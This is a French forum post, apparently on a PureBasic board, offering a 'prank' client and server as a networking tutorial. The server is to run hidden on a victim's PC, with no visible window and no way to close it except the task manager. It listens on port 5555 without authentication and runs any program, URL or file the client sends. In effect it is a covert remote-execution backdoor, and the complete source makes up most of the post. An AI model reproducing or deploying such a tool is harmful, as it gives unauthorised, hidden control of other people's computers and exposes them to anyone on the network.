*note : Blague qui touche au PC des gens, ça fait fâcher tout rouge il ne faut pas recommencer.*
C'est bon j'ai noté !
Allé pour répondre aux critères d'une bonne blague en voici une nouvelle plus en moins en guise d'excuse (bien que je reste satisfait du résultat de la première)
Une petite blagounette qui permet de rigoler à distance ET avec un code plus ou moins intéressant qui peut servir de "TUTO" pour construire une relation basic client serveur multi thread. L'idée est donc de lancer le serveur sur le PC de la victime afin de lancer des appli (soit URL sur la string du client, soit des fichier à transférer) depuis le client pour les faire s'ouvrir sur le PC serveur.
Serveur :
Code : Tout sélectionner
EnableExplicit
InitNetwork() : InitSound() : InitMovie()
Structure client
ID.I
PacketSize.i
ReceivedSize.i
*Data
EndStructure
Enumeration
#PRT_RunPrg
#PRT_PlaySound
#PRT_OpenFile
#PRT_PlayMp3
EndEnumeration
Global NewList Client.Client(), *HeaderBuffer = AllocateMemory(SizeOf(integer)), window,mp3
Declare Handler_Packet(*Data)
Declare.s MakeTempName(ext$)
Declare close()
If CreateNetworkServer(0,5555)
window = OpenWindow(#PB_Any,0,0,0,0,"",#PB_Window_Invisible)
BindEvent(#PB_Event_CloseWindow,@close())
Repeat
Select NetworkServerEvent(0)
Case #PB_NetworkEvent_None
Delay(10)
Case #PB_NetworkEvent_Data
ForEach Client()
If Client()\ID = EventClient()
Break
EndIf
Next
If Client()\PacketSize
If Client()\PacketSize - Client()\ReceivedSize > 65536
Client()\ReceivedSize + ReceiveNetworkData(Client()\ID,Client()\Data + Client()\ReceivedSize,65536)
Else
Client()\ReceivedSize + ReceiveNetworkData(Client()\ID,Client()\Data + Client()\ReceivedSize,Client()\PacketSize - Client()\ReceivedSize)
EndIf
If Client()\ReceivedSize = Client()\PacketSize
Client()\PacketSize = 0
CreateThread(@Handler_Packet(),@Client())
EndIf
Else
ReceiveNetworkData(Client()\ID,*HeaderBuffer,SizeOf(integer))
Client()\ReceivedSize = 0
Client()\PacketSize = PeekI(*HeaderBuffer)
Client()\Data = AllocateMemory(Client()\PacketSize)
EndIf
Case #PB_NetworkEvent_Connect
AddElement(Client())
Client()\ID = EventClient()
Case #PB_NetworkEvent_Disconnect
ForEach Client()
If Client()\ID = EventClient()
If Client()\PacketSize
FreeMemory(Client()\Data)
EndIf
DeleteElement(Client())
Break
EndIf
Next
EndSelect
ForEver
EndIf
Procedure Handler_Packet(*ClientData.client)
Protected *Data = *ClientData\Data, tmpfile$, file, snd,ext$
Select PeekA(*Data)
Case #PRT_RunPrg
RunProgram(PeekS(*Data+SizeOf(ascii)+SizeOf(integer),PeekI(*Data+SizeOf(ascii))))
Case #PRT_PlaySound
snd = CatchSound(0,*Data+ SizeOf(ascii))
If snd
PlaySound(0)
EndIf
Case #PRT_OpenFile
ext$ = PeekS(*Data+SizeOf(ascii)+SizeOf(integer),PeekI(*data+SizeOf(ascii)))
Debug ext$
tmpfile$ = MakeTempName(ext$)
file = CreateFile(#PB_Any,GetTemporaryDirectory() + tmpfile$)
If file
WriteData(file,*Data+SizeOf(ascii)+SizeOf(integer)+(PeekI(*data+SizeOf(ascii))*2),MemorySize(*Data)-SizeOf(ascii))
CloseFile(file)
RunProgram(GetTemporaryDirectory()+ tmpfile$,"","",#PB_Program_Wait)
DeleteFile(GetTemporaryDirectory() + tmpfile$)
EndIf
Case #PRT_PlayMp3
If IsMovie(mp3)
FreeMovie(mp3)
EndIf
file = CreateFile(#PB_Any,GetTemporaryDirectory()+"zic.mp3")
WriteData(file,*Data+SizeOf(ascii),MemorySize(*Data)-SizeOf(ascii))
CloseFile(file)
mp3 = LoadMovie(#PB_Any,GetTemporaryDirectory()+"zic.mp3")
If mp3
PlayMovie(mp3,WindowID(window))
EndIf
EndSelect
FreeMemory(*Data)
EndProcedure
Procedure.s MakeTempName(ext$)
Protected Result$, loop
For loop = 0 To 20
Result$ = Result$ + Str(Random(9))
Next loop
Result$ = Result$+"."+ext$
ProcedureReturn Result$
EndProcedure
Procedure close()
If IsMovie(mp3)
FreeMovie(mp3)
EndIf
If FileSize(GetTemporaryDirectory()+"zic.mp3") > 0
DeleteFile(GetTemporaryDirectory()+"zic.mp3")
EndIf
End
EndProcedure
@Zorro : Tu feras attention le delay n'est que de 10 ms et il n'y a pas d'autre possibilité de fermer le serveur que via le gestionaire des tâches !!!!!!!!!!!!!!!!! (bah oui... le but d'une blague c'est que ça ne se voie pas...)
Client :
Code : Tout sélectionner
EnableExplicit
InitNetwork()
Enumeration
#PRT_RunPrg
#PRT_PlaySound
#PRT_OpenFile
#PRT_PlayMp3
EndEnumeration
Declare close()
Declare send()
Declare connect()
Declare senddata()
Declare requestfile()
Global IP,ID,string, file$, text, *buffer = AllocateMemory(65536)
If OpenWindow(0,0,0,300,100,"",#PB_Window_ScreenCentered|#PB_Window_SystemMenu|#PB_Window_MinimizeGadget)
IP = IPAddressGadget(#PB_Any,10,10,200,20)
ButtonGadget(0,220,10,70,20,"Connexion")
string = StringGadget(#PB_Any,10,40,200,20,"")
ButtonGadget(1,220,40,70,20,"Envoi")
text = TextGadget(#PB_Any,10,70,170,20,"",#PB_Text_Border)
ButtonGadget(2,190,70,20,20,"...")
ButtonGadget(3,220,70,70,20,"Envoi")
BindEvent(#PB_Event_CloseWindow,@close())
BindGadgetEvent(0,@connect())
BindGadgetEvent(1,@send())
BindGadgetEvent(2,@requestfile())
BindGadgetEvent(3,@senddata())
DisableGadget(1,1) : DisableGadget(2,1) : DisableGadget(3,1)
EndIf
Repeat : WaitWindowEvent() : ForEver
Procedure close()
End
EndProcedure
Procedure connect()
ID = OpenNetworkConnection(GetGadgetText(IP),5555)
If ID
MessageRequester("Connexion","Connexion OK")
DisableGadget(1,0) : DisableGadget(2,0)
Else
MessageRequester("Connexion","Connexion échoué")
DisableGadget(1,1) : DisableGadget(2,1)
EndIf
EndProcedure
Procedure send()
Protected size = Len(GetGadgetText(string))*2
PokeI(*buffer,size+SizeOf(ascii)+SizeOf(integer))
PokeA(*buffer+SizeOf(integer),#PRT_RunPrg)
PokeI(*buffer+SizeOf(integer)+SizeOf(ascii),Len(GetGadgetText(string)))
PokeS(*buffer+SizeOf(integer)+SizeOf(ascii)+SizeOf(integer),GetGadgetText(string))
SendNetworkData(ID,*buffer,SizeOf(integer)+SizeOf(ascii)+SizeOf(integer)+size)
SetGadgetText(string,"")
EndProcedure
Procedure requestfile()
Protected tmpfile$
tmpfile$ = OpenFileRequester("Ouvrir",GetCurrentDirectory(),"",1)
If tmpfile$
file$ = tmpfile$
DisableGadget(3,0)
SetGadgetText(text,file$)
Else
file$ = ""
SetGadgetText(text,"")
DisableGadget(3,1)
EndIf
EndProcedure
Procedure senddata()
Protected file, size, datasend, send,*data
file = ReadFile(#PB_Any,file$)
If file
size = FileSize(file$)
*data = AllocateMemory(size + SizeOf(ascii) + SizeOf(integer))
If GetExtensionPart(file$) = "wav"
*data = AllocateMemory(size + SizeOf(ascii) + SizeOf(integer))
PokeI(*data,size + SizeOf(ascii))
PokeA(*data + SizeOf(integer),#PRT_PlaySound)
ReadData(file,*data+SizeOf(ascii)+SizeOf(integer),size)
size + SizeOf(ascii) + SizeOf(integer)
ElseIf GetExtensionPart(file$) = "mp3"
*data = AllocateMemory(size + SizeOf(ascii) + SizeOf(integer))
PokeI(*data,size + SizeOf(ascii))
PokeA(*data + SizeOf(integer),#PRT_PlayMp3)
ReadData(file,*data+SizeOf(ascii)+SizeOf(integer),size)
size + SizeOf(ascii) + SizeOf(integer)
Else
*data = AllocateMemory(size + SizeOf(ascii) + SizeOf(integer)+SizeOf(integer)+(Len(GetExtensionPart(file$))*2))
PokeI(*data,size + SizeOf(ascii)+SizeOf(integer)+(Len(GetExtensionPart(file$))*2))
PokeA(*data + SizeOf(integer),#PRT_OpenFile)
PokeI(*data+SizeOf(ascii)+SizeOf(integer),Len(GetExtensionPart(file$)))
PokeS(*data+SizeOf(ascii)+SizeOf(integer)+SizeOf(integer),GetExtensionPart(file$))
ReadData(file,*data+SizeOf(ascii)+SizeOf(integer)+SizeOf(integer)+Len(GetExtensionPart(file$))*2,size)
size +SizeOf(ascii)+SizeOf(integer)+SizeOf(integer)+(Len(GetExtensionPart(file$))*2)
EndIf
CloseFile(file)
Repeat
If size - datasend > 65536
send = SendNetworkData(ID,*data+datasend,65536)
If send > 0 : datasend + send : EndIf
Else
send = SendNetworkData(ID,*data+datasend,size - datasend)
If send > 0 : datasend + send : EndIf
EndIf
Until datasend = size
SetGadgetText(text,"")
FreeMemory(*data)
EndIf
EndProcedure
Ah oui, si vous envoyez un .wav ou .mp3, le serveur le jouera lui même sans ouvrir de fenetre.
PS : C'est promis rien ne seras modifié sur votre PC.